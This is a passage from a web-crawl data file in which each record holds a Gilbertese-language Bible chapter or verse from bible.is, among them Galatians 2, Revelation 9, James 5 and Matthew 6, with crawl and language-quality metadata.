1.0000098943710327}","num_words":1117,"character_repetition_ratio":0.051,"word_repetition_ratio":0.002,"special_characters_ratio":0.251,"stopwords_ratio":0.418,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tengauni ma a ririki i mwina, ao I a manga nako Ierutarem ma B'arenaba, ao I kaira naba Tito. 2I nako b'a tuangau n te kaotioti are roko i rou; ao I tuangiia te euangkerio are I tataekinna i buakoia aomata aika tiaki I-Iutaia; ao I karaoa aei nakoia uake a atoatongaki b'a taani kairiri, ngke ti ngai ma ngaiia, b'a a kaawa ni matebuaka au m'akuri ake I a tia ni karaoi n taai aika nako, ao aika I karaoi ngkai. 3Ma e aki kairoroaki Tito, are raou, b'a e na korotabonim'aneaki, e boni ngae ngke te I-Erene ngaia. 4E riki aei i bukiia taari ni kewe ake a karinaki ni karabaki i buakora b'a a na taratarai aroni inaomatara are reke iroura n reitakira ma Kristo Iesu. A tangiria b'a a na tau-toronira, 5ma ti bon aki kariaia naba teutana b'a ti na iri nanoia, b'a e aonga ni memena koauan te euangkerio iroumi. 6Ao uake atoatongaki b'a taani kairiri, I aki tabe ma aroia ngkekei b'a aekara; b'a E aki babaire te Atua man taraan te aomata, a aki tuangai uakekei te b'ai teuana ae raka; 7ma te bae a karaoia: a norai b'a I a tia ni mwiokoaki n taekan te euangkerio i bukiia ake a aki korotabonim'aneaki, n ai aroni Betero, ngke e mwiokoaki n taekan te euangkerio i bukiia ake a korotabonim'aneaki. 8B'a Teuare m'am'akuri i nanoni Betero i bukin te nakoa n tuatua nakoia aomata ake a korotabonim'aneaki E m'am'akuri naba i nanou nakoia aomata aika tiaki I-Iutaia; 9ao Iakobo, ma Keeb'a, ma Ioane, ake a atoatongaki b'a boua, ngke a ata ae E anganai te Atua te mwiokoaki aei, ao a anganai ma B'arenaba angaataia, ao ti iobai ma ngaiia, b'a kaotan aroaro n iraorao ni mwiokoara, ngaira nakoia aomata aika tiaki I-Iutaia, ao ngaiia nakoia I-Iutaia. 10Ao akea te bae a butira iai, ma ti na ti uringiia ake a aki kaub'ai; ao bon aei te b'ai are e a kaman ingainga iai nanou ni kani karaoia. 11Ma ngke e roko Keeb'a i Antioka, ao I taetae i matana n ekianako, b'a e bure te baere e karaoia. 12B'a i m'ain rokoia tabem'aang mairoun Iakobo, ao e bon am'am'arake ma aomata aika tiaki I-Iutaia; ma ngke a roko, ao e kerikaki man arona arei, ni kaokoroa, b'a e makuia ake a korotabonim'aneaki. 13Ao I-Iutaia ake raona a karaoa naba are e karaoia Betero, ni karaoan are a ataia b'a a aki riai ni karaoia; ma ngaia are e anaaki naba nanoni B'arenaba n are a karaoia, ao e katotongiia. 14Ma ngke I nooriia b'a a aki toua te kawai ae eti ma koauan te euangkerio, ao I kaangai nakoni Keeb'a i mataia aomata akekei ni kabaneia, \"Ngkai te I-Iutaia ngkoe, ao ko aera ngkai ko kairoroia aomata aika tiaki I-Iutaia b'a a na maiu n ai aroia I-Iutaia?\" 15Ngaira bon I-Iutaia n rikira, ao tiaki aomata aika ianena aika taani bure, n aron are atoatongaki; 16ao ti ataia b'a e aki kaetaki reitakin te aomata ma te Atua ni karaoani baika tangiraki n te Tua, b'a ti n onimakinan Iesu Kristo; ngaira naba, ti onimakina Kristo Iesu, b'a a aonga ni kaetaki reitakira ma te Atua n onimakinani Kristo, ma tiaki ni karaoan are e tangiraki n te Tua: b'a bon akea temanna ae e na kaetaki reitakina ma te Atua ni karaoani baika tangiraki n te Tua. 17Ngkana arona ngkanne b'a ngkai ti kekeiaki ni kani kaeta reitakira ma te Atua n arora n reitaki ma Kristo, ao ti noraki iai b'a bon taani bure ngaira, e a nanonaki n aei ngkanne b'a E m'akuri Kristo i bukin te bure? E bon aki. 18B'a ngkana I a manga katei baike I uru, ake a kaeti ma aron te Tua, ao I kaotai iai b'a te tia ri aon te Tua ngai. 19B'a bon iroun te Tua are I a riki ni mate iai nakon te Tua, b'a I aonga ni maiu i bukin te Atua. I tauraki n te kaibangaki ma Kristo. 20Ao ai tiaki ngai ae I maiu ngkai, ma Kristo ae maiu i nanou; ao arou ae I maiu iai n te rab'ata, I maiu n onimakinan Natin te Atua, are E tangirai, are E anga Ngaia i buku. 21I aki kakeaa bonganan ana akoi te Atua; b'a ngkana e kaetaki reitakin te aomata ma te Atua n te Tua, ao akea bonganani mateni Kristo.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/2","date":"2016-05-27T06:42:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049276543.81\/warc\/CC-MAIN-20160524002116-00156-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":738,"character_repetition_ratio":0.072,"word_repetition_ratio":0.003,"special_characters_ratio":0.243,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 3:33B'a E atongaki Teuaei b'a e riai ni m'aiti riki neboakina nakon neboakini Moote, n ai aron te tia kateitei ae e riai ni m'aiti riki karineana nakoni karinean te auti are e kateia. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/3","date":"2016-06-01T07:40:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464056639771.99\/warc\/CC-MAIN-20160524022359-00220-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9992739558,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.999273955821991}","num_words":50,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.22,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao te anera are te kaniman e katanga ana bu, ao I nora te itoi ae b'aka mai karawa nako aon te aba; ao e anganaki kingini bonotani matan te b'angab'anga are ruo ri kaaki nako Abuto. 2E kauka bonotani matan te b'angab'anga are ruo ri kaaki nako Abuto, ao e oti nako mai iai te bubu ae ai aroni bubun te tabo ni kanaiai ae korakora, ao e karooaki taai ma te ang n te bubu ae nako man te b'angab'anga arei. 3Ao a oti nako rokati man te bubu arei nako aon te aba, ao a anganaki te kona ni kamaraka te aba n ai aroia tikaobian. 4A tuangaki b'a a na aki urua uteuten aon te aba, ma te kai nako ae e mawaawa baana, ma aroka; ma a na ti kamarakiia aomata akana akea i aon ram'aia ana kanikina te Atua. 5A kariaiakaki rokati akekei b'a a na b'ainikiriniia ni kamarakiia i nanon nimaua te nam'akaina, ma a na aki kamateia; ao marakiia ai aroni marakin te aomata are e tenaki n te roata ae buubura ae te roata n ni. 6I nanoni bongin nam'akaina akana nimaua akanne ao a na kakaaea te anga ae a na mate iai, ma akea ae na reke i rouia: a tangira te mate, ma e biri nako te mate mai rouia. 7Rokati akekei kanga ai aroia aoti ake a tauraoi nakon te buaka: a toka i aon atuia baika kanga ai aroni baunuea aika koora, ao ubuia ai aron taraan ubuia aomata; 8iran atuiia ai aron iran atuia aine, ao wiia ai aroni wiia raian; 9a katokai i aoni b'ab'aia baika kanga ai aroni biiti b'a otangaia; ao rurungaani baiia ni kiba kanga ai aron rurungaani kaa-ni-buaka aika bati aika katikaki irouia aoti ngkana a biribiri nakon te buaka. 10Iai bukiia rokati akekei aika ai aroni bukin te tikaobian ae iai te boitin iai, are a kona iai ni kamarakiia aomata i nanon nimaua te nam'akaina. 11Iai aia uea b'a aneran te tabo are Abuto. Aran te anera anne n te taetae n Ebera bon Abaton, ao n te taetae n Erene Aboruon. 12E a tia n roko te moa n rekenikai; noria, ane a na roko riki rekenikai aika uoua. 13Ao te anera are te kaonoman e katanga ana bu, ao I ongo te b'ana teuana mani kooro ake koron te baonikarea are te koora, are i matan te Atua, 14ngke e kaangai nakon te anera are te kaonoman are iai i rouna te bu, \"Ko na kab'araia anera ake aman ake a kabaeaki i rarikin te karaanga are ab'ab'aki are Iuberetiti.\" 15Ao a kab'araki anera ake aman, ake a katauraoaki i m'ain te aoa ma te bong ma te nam'akaina ma te ririki, are a na kamateia iai kateni-m'akoroni m'aitiia aomata. 16Ao I ongo b'a m'aitiia taani buaka ake a toka i aoia aoti bon uabubua te mirion. 17I nooriia aoti ma ake a toka i aoia, ni miiu, b'a aikai aroia: iai otangani b'ab'aaia aika uraura n ai aron uraurani matan te ai, ao aika buruu n ai aron te uakinto ao aika babobo n ai aron te burimton; ao atuia aoti ai aron atuia raian, ao a oti nako mai wiia te ai ma bubuna ma te burimton. 18A kamateaki kateni-m'akoroni m'aitiia aomata ni baikai, aika baika kamamate aika tenua, ae te ai, ao te bubu n ai, ao te burimton, aika a oti nako mai wiia. 19B'a a mena m'akaia aoti aikai ni wiia ao ni bukiia: b'a bukiia ai aroia naeta aika iai atuia, ao a kaikoakia aomata iai. 20Ao aomata ake tabem'aang, ake a aki kamateaki ni baike a kamamate, a aki rairaki ni kitani baike a karaoi n oini baiia, b'a a aonga n toki man aroia n taromauriia taimonio, ma bouananti aika koora ma aika tirewa ma aika buraati ma aika atibu ma aika kaai aika aki kona te noraba, ma te ongo, ma te nakonako; 21ao a aki rairaki ni kitan aroia ni kamamate, ma n tabunea, ma ni kaib'ab'aru, ma ni kimoa.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/9","date":"2016-05-30T09:12:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464050955095.64\/warc\/CC-MAIN-20160524004915-00118-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":675,"character_repetition_ratio":0.054,"word_repetition_ratio":0.003,"special_characters_ratio":0.241,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:1313Ngke e wai ni karaurau te angi maiaki, ao a taku b'a e na koro bukin aia iango, ma ngaia are a taeka te atinro ao a borau n ri rarikini Kirete ni kaani ma mataniwin te aba. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/13","date":"2016-05-24T17:44:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049272823.52\/warc\/CC-MAIN-20160524002112-00032-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9998883009,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998883008956909}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ongora ngkai, ngkami akana kam kaub'ai: kam na kanenei b'anaami n tang ni korakai i bukin aaro ni karawaawata aika nangi riki nakoimi. 2A mka ami b'ai ao a kanaki ami kunnikai n te koa. 3A raraa ami koora ma ami tirewa; ao a na riki raraani baikai b'a b'aai ni kakoaua aika na kabuakakaingkami, ao a na kang irikomi n ai aron te ai. Kam a tia ni kaiko ami b'ai i nanoni boong aika kabaneani boong. 4Noria, a tangiri boon aia m'akuri taani m'akuri aika tai i abami, ae booia ae tauaki iroumi; ao tangiia ake a tai e a tia n roko i taningan te Atua, are te Uea ae Moan te M'aka. 5Kam a tia ni maiu ni kaub'ai ma n iri kukurein rab'atami n te maiu aei. Kam a tia ni kamarikaingkami i bukin te bongi ni kamamate. 6Kam motika taekan te aomata ae akea ana bure ni kaburea; ao kam kamatea; ao e aki rawa nakoimi. 7Ma ngaia aei, taari, kam na taotaon nanomi ni karokoa rokon te Uea. Nora aron te tia ribana: e taninga te uaa ae kakawaki ae na riki man te aba; ao e taotaona nanona n taningaia ni karokoa ae e anganaki te moa ni karau ma te karau are i mwina. 8Kam riai naba ngkami n taotaon nanomi. Kam na nanomatoa, b'a e a kaan rokon te Uea. 9Taari, kam na tai i b'angantaeka, b'a a kaawa ni motikaki taekami; noria, e a kaan te tia motiki-taeka b'a ae E a kani kaoti. 10Taari, kam na ururingiia burabeti ake a taetae n aran te Uea. A na riki b'a banna ni kakairi n aroia ni kataua te maraki ma ni botum'aka n taotaon nanoia. 11Noria, ti taku b'a a kab'aia ake a nanom'aka. Kam a tia n ongo nanom'aakan Iobi, ao kam ata aron te Uea n tabeakinna n tokina. B'a moan te nanoanga te Uea, ao E akoi. 12Tariu, te bae moan te kakawaki i aoni b'aai ni kabane bon aei: kam na tai m'anewea arani karawa ke aon te aba ke te b'ai riki teuana ngkana kam tuea; ma e na atongaki ami eng b'a bon eng, ao ami tiaki b'a bon tiaki; b'a aonga n aki motikaki taekami ni kabuakakaki. 13E taonaki temanna i buakomi n te rawawata? Ke e tataro. E kukurei temanna? Ke e anene. 14E aoraki temanna i buakomi? Ke e weteia unimm'aanen te ekaretia; ao a na tataro i aona, ao a na kabiria n te b'a n aran te Uea. 15Ao ane e na kamaiua te aoraki te tataro n onimaki; E na kaokaki marurungina nakoina iroun te Uea, ao a na kab'araki ana bure ngkana e a tia ni bure. 16Ma ngaia ae kam na kaotioti ami bure nakoimi, temanna nakon temanna, ao kam na tataro i bukimi, temanna i bukin temanna, b'a kam aonga ni kamaiuaki. E bati ni m'aaka ana tataro te aomata ae kakaraoa nanon te Atua, ngkana e tataro ma nanona. 17Eria bon te aomata ae ti te bo arona ma arora, ao n ana tataro e bubuti b'a e na aki b'aka te karau; ao e aki b'aka te karau i aon te aba i nanon tenua te ririki ao onoua nam'akaina. 18Ao e a manga tataro, ao e b'aka te karau mai karawa, ao e kariki uaana aontano. 19Tariu, ngkana iai iroumi ae kitana te koaua ao temanna e a manga kaokia, 20ao e na ataia, b'a ane kaoka te tia bure man arona are kaairua iai, ao e na kamaiua maiun te tia bure anne man te mate, ao a na kamaunaki ana bure aika bati.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/5","date":"2016-05-30T07:18:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464050919950.49\/warc\/CC-MAIN-20160524004839-00129-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":605,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni B'auro, ae ana tia tuatua Kristo Iesu n nanon te Atua, ao mairoun Timoteo ae tarira, 2nakoia ake a itiaki i Korote, ake taari aika kakaonimaki n aroia n irira Kristo: 3Ti aki toki ni katituaraoa te Atua ae Taman ara UEA are Iesu Kristo n ara tataro i bukimi, 4ngkai ti ongo taekan onimakinani Kristo Iesu i roumi, ma tangiraia ake a itiaki ni kabaneia i roumi, 5i bukin te kaantaninga are e kamenaki i m'aimi i karawa; are kam ongo taekana ngke kam moa n onimakina taekan te koaua, ae bon te euangkerio, 6are roko i roumi ao i aonnaba ni kabane: ao e kariki uaa ma n riki rake naba i nanomi man te bong are kam ongo taekana iai, ao n ata raoi ana akoi te Atua n arona ni koaua. 7N ai aron are kam reireiaki iai iroun Eb'abera are raora ni m'akuri ae tangiraki, ae ana tia m'akuri Kristo ae kakaonimaki, ae onei mwira ni m'akuri. 8Boni ngaia naba are kaota nako ira aron ami tangira are kam anganaki iroun te Tamnei. 9Ma ngaia ae ti aki toki naba n tataro i bukimi, man te tai are ti ongo iai taekami, ao ti aki toki ni butia te Atua b'a kam na kaonaki n ataakin nanona, ao n te rabakau ma te ataib'ai ni kabanea are mairoun te Tamnei, 10b'a kam aonga ni karaoi baika boraoi ma nanon te UEA, aika E na kukurei iai, n aromi ni karaoi m'akuri nako aika raraoi; ao b'a kam aonga n ata riki aron te Atua, 11ngkai kam kakorakoraki n te kakorakora ni kabanea, are nako mani m'aakana ae kamimii, b'a e aonga n reke i roumi te nanom'aka ni kabanea ma te taotaonaki n nano ma te kim'areirei; 12ao b'a kam na katituaraoa te Tama, are karaoingkami b'a kam na tau ni karekea tib'angami n te baere E a tia ni kawakinna te Atua b'a aia b'ai ana aomata aika itiaki ake n te oota. 13E a tia ni kamaiura mani m'aakan te roo, ao E uotiira nako aan ana tautaeka Natina are tangiraki; 14are e reke mai Rouna kainaomatakira, ae nanona, b'a a kab'araki ara bure. 15Kristo boni katotongan te Atua ae aki nonoraki, ao bon te moa n Nati ae kakannato i aoni b'aai ni kabane aika karikaki. 16B'a a karikaki b'aai ni kabane mai Rouna, ake i karawa ma ake i aon te aba ake a noraki ma ake aki noraki, ma baika iai m'akaia ma aroia n tautaeka; a bane ni karikaki mai Rouna, ao i bukina. 17Iai Ngaia i m'aini b'aai ni kabane, ao a nako raoi aroni b'aai ni kabane n reitaki i Rouna. 18Ao Ngaia bon atun te rab'ata, ae te ekaretia; Ngaia ae reke mai Rouna maiun te ekaretia, ao te moa n Nati ni kamaiuaki man te mate, b'a e aonga ni moanibaan te kakannato i aoni b'aai ni kabane. 19B'a boni man nanon te Atua ae e reke iai iroun te Nati aron te Atua ni kabane; 20ao bon nanona naba b'a E na raoiakini b'aai ni kabane nako Ina i Rouna, aika i aon te aba ma ake i karawa; ao E karaoa aei ni maten Natina i aon te kaibangaki. 21Ao ngkami, kam raroa nako ngkoa mairoun te Atua, ao kam ribaia i nanomi i bukin ami m'akuri aika bubuaka; 22ma ngkai, E raoiakiningkami n rab'atan natina ni matena, b'a E aonga ni kaakingkami i matana b'a aomata aika itiaki aika akea aia kairua ma kabuakakaia. 23Ma kam bon riai ni matoatoa ma n nene n ami onimaki, ao kam na aki kam'aingaki man te kaantaninga are reke i roumi ngke kam ongo taekan te euangkerio; are e tataekinaki nakoia aomata ni kabaneia i aonnaba ni kabuta ao are I riki iai, ngai ae B'auro, b'a te tia m'akuri i bukina. 24I kim'areirei ngkai ni marakiu i bukimi, b'a I a kona ni kakororaoa iai marakin Kristo ni marakin rab'atau i bukin rab'atana, ae te ekaretia; 25are I riki iai b'a te tia m'akuri n ai aron te nakoa are I anganaki mairoun te Atua i bukimi, b'a N na kabanea ana taeka te Atua n taekin, 26are te baere raba, are karabaki ma ngkoangkoa ao mairouia rooro nako; ma ngkai, e a kaotaki nakoia ana aomata aika itiaki. 27E karaoa aei te Atua b'a E tangiringkami aika tiaki I-Iutaia b'a kam na ata te baere raba ae kamimii ae mimitong; ao te bae raba aei boni Kristo i nanomi, are Ngaia ami kaantaninga b'a e na reke neboami. 28Boni ngaia are ti tataekinna, n tuatuangia aomata ni kabaneia ma n reireiia n te rabakau ni kabane, b'a ti aonga ni kaotiia aomata ni kabaneia b'a a ikawai ni maiuia n reitaki ma Kristo; 29ao anne bukin ae I kekeiaki m'aka naba ni m'akuri, ao I kamanena te korakora ae bati are E anganai Kristo, ao ae e m'am'akuri i nanou.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1","date":"2016-05-24T08:18:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049270513.22\/warc\/CC-MAIN-20160524002110-00020-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":819,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e nako n te Tembora Betero ma Ioane n tain te tataro are te aoa tenua n te tanimaeaontaai. 2Ao e uotaki te aomata temanna ae e a kamani m'auku mai nanoni biroton tinana, ae kaweweneaki n te bong ae koraki n te mataroa are arana Tamaroa, are te mataroa n rin nakon te Tembora, b'a e na bubuti b'aai n tituaraoi mairouia aomata aika rin n te Tembora. 3Ngke e nora Betero ma Ioane b'a a nangi rin n te Tembora, ao e bubutiia aia b'ai n tituaraoi. 4A katokai mataia Betero ma Ioane n taraia, ao e taku Betero nakoina, \"Taraira!\" 5Ao ngaia e taraia, b'a e taku i nanona b'a tao a na anganna te b'ai teuana. 6Ma e taku Betero, \"Bon akea au tirewa ma au koora i rou, ma N na anganiko ae iai i rou: Nakonako n aran Iesu Kristo are te I-Natareta!\" 7E taua ataina Betero, ao e kateirakea; ao n te tai naba arei ao a riki ni marurung waena ma tomaia. 8Ao e ewe rake n tei, ao e nakonako, ao e rin ma uakekei n te Tembora, n nakonako ma n ewewe, ma ni karaoiroa te Atua. 9A bane aomata n noria b'a e nakonako ma ni karaoiroa te Atua: 10ao a ataia b'a bon teuare tetekateka ni bububuti n te mataroa are arana Tamaroa, are te mataroa n rin nakon te Tembora; ao a bon rangi ni mimi n te baere e riki nakoina. 11Ngke e tabe teuarei ni kakanimnimm'a i rarikini Betero ma Ioane ao a rangi ni mimi aomata, ao a biri ni botaki nakoia n te kaman are aranaki b'a ana kaman Toromon. 12Ngke e nooriia aomata Betero n te aro arei, ao e taku nakoia: Mm'aane aika Iteraera, kam aera ngkai kam mimi iroun teuaei? Ao kam aera ngkai kam katokai matami n taraira b'a aongkoa ti kanakonakoa teuaei n oini m'akara ma raoiroira i matan te Atua? 13Atuan Aberaam, ma Itaaka, ma Iakob'a, are Atuaia ara bakatibu, E neboa Natina are Iesu, are kam anga ao kam kakeaa i matani Birato, ngke e a tia n reke ana baire b'a e na kainaomata. 14B'a kam kakeaa Teuare Raoiroi, are kabanea maiuna i bukin te Atua, ao kam tua b'a kam na anganaki te aomata ae te tia tiritiri, 15ao kam kamatea Uean te maiu, are E a manga kamaiua te Atua mai buakoia maate, ao bon taani kakoaua ngaira nakoni baikai. 16E a kamaiuaki teuae kam noria ma ni kinaa, n onimakinan aran Iesu; b'a onimakinan Iesu boni ngaia ae angan teuaei te marurung aei n aron ae kam bane n noria i matami. 17Ma ngaia aei, raou, I ataia b'a te baere kam karaoia ma ami mataniwi nakon Iesu, kam karaoia ma te aki oota. 18Ma te Atua are E a kaman tataekinna ni wiia burabeti ni kabane ae E na kamarakaki ana Kristo, E a kakoroa bukina n te aro aei. 19Ma ngaia ae kam na raraoma, ao rairi nanomi b'a a aonga ni kamaunaki ami bure, 20ao b'a a aonga n roko boong aika kamaiu mairoun te UEA; ao E aonga ni kanakomaia te Kristo are Iesu, are E a kaman rineia i bukimi. 21E riai tikuna i karawa ni karokoa te tai are a bane iai b'aai nako ni kaokaki nakon aroia ngke a moa ni karikaki, n aron are E taekinna te Atua ni wiia burabeti ake ngkoa, ake a tia ni kabane maiuia i bukina. 22B'a e kaangai Mote, \"Ane E na kateirakea te burabeti temanna te UEA ae te Atua i bukimi mai buakoia ami botannaomata, b'a ai arou; kam na ongo i rouna ni b'aai ni kabane akana E na atong nakoimi. 23Ao te b'ai ae na riki nakoia aomata nako akana rawa n ongo iroun te Burabeti arei, a na bane ni kamaunaki mai buakon te botannaomata.\" 24Ao burabeti ni kabaneia ake a tia n taetae, ni botaki ma Tamuera ma ake a kaoti i mwina, a kaotioti naba baika na riki ni boong aikai. 25Ana taeka n akoi te Atua are a taekinna burabeti bon i bukimi, ao iai tib'angami n te boraraoi are E karaoia te Atua ma ami bakatibu, n aron are E taekinna nakon Aberaam ngke E kaangai, \"A na kab'aia kaain aonnaba ni kabaneia iroun am kariki.\" 26E kateirakea Natina te Atua ao E kanakoa moa nakoimi, b'a E na kakab'aiaingkami, n rairingkami ni kabaneingkami man aromi aika bubuaka.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/3","date":"2016-05-29T13:55:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049279525.46\/warc\/CC-MAIN-20160524002119-00036-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":741,"character_repetition_ratio":0.047,"word_repetition_ratio":0.014,"special_characters_ratio":0.241,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kam na tarataraingkami b'a kam na aki karaoi b'aai ake a kaeti ma b'ain te onimaki i mataia aomata ni kan noraki i rouia; b'a ngkana aromi anne, ao a na akea te b'ai n tituaraoi ae kam na anganaki mairoun Tamami are i karawa. 2Ma ngaia aei, ngkana ko angab'ai nakoia aika kainano ao ko na tai katanoata nakoia aomata, n ai aroia taani m'am'ana-te-aba ngkana a angab'ai ni m'aneabaia I-Iutaia ao i nanoni kawai, b'a a aonga ni kamoamoaki iai irouia aomata. E koaua ae I a tuangngkami b'a e a tia n reke i rouia booia mani mwin aia m'akuri. 3Ma ngkana ko angab'ai nakoia aika kainano, ao karaoia n te aro ae akea ae na ataia: 4b'a e aonga n raba am angab'ai; ao E na anganiko te b'ai n tituaraoi Tamam, ae nora ae raba, b'a am b'ai. 5Ngkana kam tataro, ao tai kakairi irouia taani m'am'ana-te-aba! B'a a kan tei n tataro i nanoni m'aneabaia I-Iutaia ao i tutani kawai, b'a a aonga n noraki irouia aomata. E koaua ae I a tuangngkami b'a e a tia n reke i rouia booia mani mwin aia m'akuri. 6Ma ngkana ko tataro, naako rin n am ruu, ao kaina te mataroa, ao tataro nakon Tamam ae raba; ao E na anganiko Tamam ae raba te b'ai n tituaraoi b'a am b'ai. 7Ao ngkana kam tataro, ao tai kabatiai ami taeka aika akea nanoia, b'a anne aroia aomata ake a tuai onimakina te Atua, b'a a taku b'a a na reke nako ia b'aai ake a tataro i bukiia. 8Tai kakairi i rouia, b'a E atai baika kam kainanoi Tamami i m'ain ae kam butiia. 9Aio ngkanne aron ami tataro: 'Tamara are i karawa, E na tabuaki aram, 10E na roko Ueam, E na tauaki am taeka i aonnaba n ai aron tauana i karawa. 11Ko na anganira karara ae ti a tau iai n te bong aei. 12Ao Ko na kab'ara ara bure mai roura, n ai arora ngkai ti kab'ara aia bure akana bure nako ira; 13Ao tai kairira nakon te kaririaki, ma Ko na kamaiura man te buakaka; b'a am b'ai te uea, te m'aaka, ao te neboaki n aki toki. Amen. 14B'a ngkana kam kab'arai aia bure aomata ake a karaoi nako imi, ao Tamami are i karawa, E na kab'arai naba ami bure ake kam karaoi nako Ina. 15Ma ngkana kam aki kab'arai aia bure aomata ake a karaoi nako imi, ao Tamami E na aki kab'arai naba ami bure ake kam karaoi nako Ina. 16Ngkana kam aki mamatam, ao tai mata ni kananoanga n ai aroia taani m'am'ana-te-aba: b'a a katarabuakai ubuia b'a e aonga n noraki aia aki-mamatam irouia aomata. E koaua ae I a tuangngkami b'a e a tia n reke i irouia booia mani mwin aia m'akuri. 17Ma ngkana ko aki mamatam, ao ko na kabira atuum, ao teboki matam; 18b'a e na aki noraki am aki-mamatam irouia aomata, ma e na noraki iroun Tamam ae nora ae raba; ao Tamam ae nora ae raba, ane E na anganiko te b'ai n tituaraoi b'a am b'ai. 19Tai kaiko ami b'ai aika kakawaki i aonnaba, ike e kangi b'aai iai te koa ma te raraa, ao a ururu ma n irae iai taan ira; 20Ma kam na kaiko ami b'ai aika kakawaki i karawa, ike e aki kangi b'aai iai te koa ma te raraa, ao a aki uru-b'ai ma n irae iai taan ira; 21b'a ike a mena iai am b'ai, ao e mena naba iai nanom. 22Te mata ai aron te taura i bukin te rab'ata. Ma ngaia are ngkana e raoiroi matam, ao e na buta rab'atam ni kabanea n te oota; 23ma ngkana e buakaka matam, ao e na buta rab'atam ni kabanea n te roo. Ao ngkana bon te roo naba te oota i nanom, ao ai bati ra te roo! 24Akea te aomata ae kona n toro irouia tooka uoman: b'a ane e na riba temanna, ao e na karinea are temanna. Kam aki kona n toro iroun te Atua ma kaub'ain te maiu aei. 25Ma ngaia ae I taku nako imi, Tai iango n raraoma i bukini maiumi, b'a tera ae kam na kanna ke ae kam na nimma, ao i bukin rab'atami b'a tera ae kam na kunnikaia iai. Tiaki e bongana riki te maiu nakon te am'arake, ao te rab'ata nakoni karabana? 26Kam na tarai mannikiba, ngkai a aki ununiki, ao a aki boboti uaa ngkana a tai, ao a aki uraki nakoni nnen am'arake; ma E kakaam'arakeia Tamami are i karawa. Tiaki kam kakawaki riki nako ia? 27Antai i buakomi, i bukin raraomana, ae e kona ni kaananaua ana tai ni maiu nakon ae teuana riki te bong? 28Ao kam aera ngkai kam iangoi karabami n raraomaeakin? Kam na iangoi aroia kiebun te aba, b'a a kanga n riki rake; a aki m'am'akuri ao a aki bibinoka; 29ma I taku nako imi b'a Toromon, e ngae ngke e kaub'ai, ma e aki kunnikaiaki n ai aron te kaina te kiebu i buakon aikai. 30Ma ngkana e kunnikaiaki iroun te Atua te uteute ae mena n te aba ae maiu n te bong aei ao e karenakoaki nako nanoni nnen te ai ningabong, ao tiaki kam na kakoaua b'a E na boni karekei kunnikaimi, ngkami aika karako ami onimaki? 31Ma ngaia ae tai iango 